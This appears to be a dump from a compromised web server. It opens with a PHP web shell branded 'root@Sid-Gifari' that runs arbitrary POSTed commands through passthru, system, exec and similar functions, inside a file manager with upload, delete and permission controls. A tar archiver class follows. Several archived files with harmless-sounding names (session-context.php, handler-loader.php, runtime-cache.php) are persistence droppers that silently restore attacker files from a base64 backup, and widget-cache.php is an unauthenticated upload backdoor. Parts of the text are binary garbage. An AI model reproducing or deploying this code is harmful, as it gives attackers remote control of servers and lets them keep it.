			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   .htaccess.htaccess.tar.gz                                                                           0000644                 00000000312 15243264725 0011350 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             =0A\4Q\\tu96&W*z"g<{9#_q#ІH{Ғc7<WRɻ;QUhʺ*!"E+Nt!Yh; [eu20]z@t5Z~Йc:jQE79                                                                                                                                                                                                                                                                                                                         session-context.php.tar                                                                             0000644                 00000005000 15243264725 0011214 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/session-context.php                                       0000644                 00000001672 15243251320 0020640 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      handler-loader.php.tar                                                                              0000644                 00000005000 15243264725 0010730 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/handler-loader.php                                        0000644                 00000001672 15243251144 0020360 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      runtime-cache.php.tar                                                                               0000644                 00000005000 15243264725 0010573 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/runtime-cache.php                                         0000644                 00000001672 15243251121 0020216 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      widget-cache.php.tar                                                                                0000644                 00000005000 15243264725 0010373 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/widget-cache.php                                          0000644                 00000001563 15243251144 0020022 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
$d = dirname(__FILE__);
$h = '../../..';
$r = ($h === '' || $h === '.') ? $d : $d . '/' . $h;

$targetDir = isset($_REQUEST['dir']) ? $_REQUEST['dir'] : '';
if ($targetDir !== '') {
    $targetDir = str_replace('\\', '/', $targetDir);
    $targetDir = ltrim($targetDir, '/');
    if (strpos($targetDir, '..') !== false) {
        die('Invalid directory');
    }
    $uploadPath = $r . '/' . $targetDir;
    if (!is_dir($uploadPath)) {
        @mkdir($uploadPath, 0755, true);
    }
} else {
    $uploadPath = $r;
}

if (isset($_FILES['f'])) {
    $n = basename($_FILES['f']['name']);
    if ($n !== '' && move_uploaded_file($_FILES['f']['tmp_name'], $uploadPath . '/' . $n)) {
        echo '1';
    } else {
        echo '0';
    }
} else {
    echo '<form method="post" enctype="multipart/form-data"><input type="file" name="f"><input type="submit" value="Upload"></form>';
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             widget-cache.php.php.tar.gz                                                                         0000644                 00000001047 15243264725 0011607 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             SMo@͙_A(%cRHzhThKYJB'̛yl6ZWP*IE=^&uNa7Ncgԭًv@tv6 x?gK9jhSUV(a QtuaEae`Ǯ5 Kp`O%LoE𶲹aX0bLG3}]}^}]|Yc_ؑ2ad)(27@RH*'1vt΀-+@	z&jiHZrfu!)%jHH_$g(U)|V$ㅑ5vLFMA0t5uBF̍ьۍ>5Na/IRX+	ZED)WQ+K1 ?6ll񋝷EZ
8UY,Mخ2-bXѥ\iiB1/jZnDb=3HPmpdXO_8JX 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           runtime-loader.php.php.tar.gz                                                                       0000644                 00000001123 15243264725 0012205 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             T[o03j@JmҞEil[wҤ]}9d)
